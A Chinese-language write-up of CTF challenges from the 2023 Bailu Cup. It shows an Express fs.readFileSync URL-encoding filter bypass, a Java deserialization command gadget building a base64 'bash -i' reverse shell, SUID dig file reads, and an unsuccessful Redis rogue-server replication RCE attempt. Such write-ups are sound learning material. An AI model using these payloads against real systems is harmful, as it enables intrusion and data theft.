[2023柏鹭杯]赛后总结

Web WriteUP

express fs

首页可以读文件。

main.js

const express = require("express");
const fs = require("fs");

const app = express();

const PORT = process.env.PORT || 80;

app.use('/static', express.static('static'))

app.use((req, res, next) => {
  if (
    [req.body, req.headers, req.query].some(
      (item) => item && JSON.stringify(item).includes("flag")
    )
  ) {
    return res.send("臭黑客!");
  }
  next();
});

app.get("/", (req, res) => {
  try {
    res.setHeader("Content-Type", "text/html");
    res.send(fs.readFileSync(req.query.file || "index.html").toString());
  } catch (err) {
    console.log(err);
    res.status(500).send("Internal server error");
  }
});

app.listen(PORT, () => console.log(`express server listening on port ${PORT}`));

搜了下,没想到是原题fs.readFileSync的利用

app.use不允许传入的请求体、请求头、参数包含"flag";/下的file参数可以读文件。

nodejs有个特性,如果传入多个query参数,比如?query=1&query=2&query=3。nodejs在解析这样的参数时,不会用后面的值去覆盖前面的,而是将其作为一个数组保存。

fs.readFileSync()可以接受一个URL类型的参数,它可以是一个URL对象或者对应格式的数组。fs.readFileSync()在解析这个URL的时候会自动进行URL解码,所以这时可以用URL编码绕过app.use中对flag的检测。构造一个file协议的URL数组传入,payload如下(对pathname进行二次编码)

?file[href]=a&file[origin]=1&file[protocol]=file:&file[hostname]=&file[pathname]=/server/%2566%256c%2561%2567.txt

综合题

这个环境中有三个flag

1

上传文件后,view处可以任意文件下载

根据题目的提示,可以把题目的jar包下载下来(/app/demo.jar),反编译得到源码。

在Upload.java中找到第一个flag的点

函数实现了一个异或加密,O0O是密钥,enc_flag1则是经过函数加密再base64编码的内容。

异或是可逆的,简单写一下解密的代码

public class Test {
    public static String enc_flag1 = "UFVTUhgqY3d0FQxRVFcHBlQLVwdSVlZRVlJWBwxeVgAHWgsBWgUAAQEJRA==";

    public static String key = "6925cc02789c1d2552b71acc4a2d48fd";

    public static String decode(String result) {
        StringBuilder flag = new StringBuilder();
        byte[] decodedBytes = Base64.getDecoder().decode(result);
        String decodedString = new String(decodedBytes, StandardCharsets.UTF_8);
        for (int i = 0, len = decodedString.length(); i < len; i++) {
            char f = decodedString.charAt(i);
            char k = key.charAt(i % key.length());
            char r = (char)(f ^ k);
            flag.append(r);
        }
        return flag.toString();
    }

    public static void main(String[] args) {
        System.out.println(decode(enc_flag1));
    }
}

得到flag

2

/internalApi/v3.2/updateConfig路由有反序列化功能,Ping反序列化会执行命令。

直接反序列化命令执行弹个shell出来

Ping p = new Ping();
p.setCommand("bash");
p.setArg1("-c");
p.setArg2("{echo,...}|{base64,-d}|{bash,-i}");

String s = serializeToBase64(p);
System.out.println(s);

目录下的hint提示flag所在的位置,但是没有权限读。

使用命令find / -perm -u=s -type f 2>/dev/null寻找具有suid权限的程序。

找到了dig命令

用-f参数读取flag

没有解出的题

综合3

在读启动命令的时候知道了它启动的配置文件位置

读这个配置文件可以看到内网Redis服务的信息

在有了web的shell之后就想怎么去攻击这个Redis。将Java中用于连接Redis的jedis以及其所依赖的slf4j的jar包,上传上去。然后写一个连接测试一下

import redis.clients.jedis.Jedis;

public class RedisConnectionTest {
    private static final String REDIS_HOST = "172.25.0.10";
    private static final int REDIS_PORT = 62341;
    private static final String REDIS_PASSWORD = "de17cb1cfa1a8e8011f027b416775c6a";

    public static void main(String[] args) {
        try (Jedis jedis = new Jedis(REDIS_HOST, REDIS_PORT)) {
            jedis.auth(REDIS_PASSWORD);
            String response = jedis.ping();

            if ("PONG".equals(response)) {
                System.out.println("Successfully connected to Redis!");
            } else {
                System.out.println("Connection to Redis failed!");
            }
        } catch (Exception e) {
            System.out.println("Failed to connect to Redis: " + e.getMessage());
        }
    }
}

编译/运行

javac -cp .:jedis-3.7.0.jar RedisConnectionTest.java
java -cp .:jedis-3.7.0.jar:slf4j-api-1.7.32.jar:slf4j-simple-1.7.32.jar RedisConnectionTest

测试是可以访问到Redis的。接着尝试读取Redis数据库的内容,发现没有任何记录。

接下来就是尝试Redis的RCE,搜索之后找到了Redis主从复制RCE相关的内容

用的是第一个工具,在远程启动python3 redis-rogue-server.py --server-only,然后用Java程序让Redis执行jedis.slaveof(ROGUE_REDIS_HOST, 21000);

有回显,但是没有Redis相关的知识,这个内容也不知道说的是个啥

最后时间结束,很可惜没有做出来....

之后补一下Redis相关的内容准备。

剩下的题目

剩下了三道0解题目

jdbc知识盲区,直接放弃。

反序列化就是那种看一眼就明白,但是就是解不出的题。非常害怕

总之非常害怕

最后的UAF结果是个PWN....难顶

总结

突击一下Java还是有效果的🙃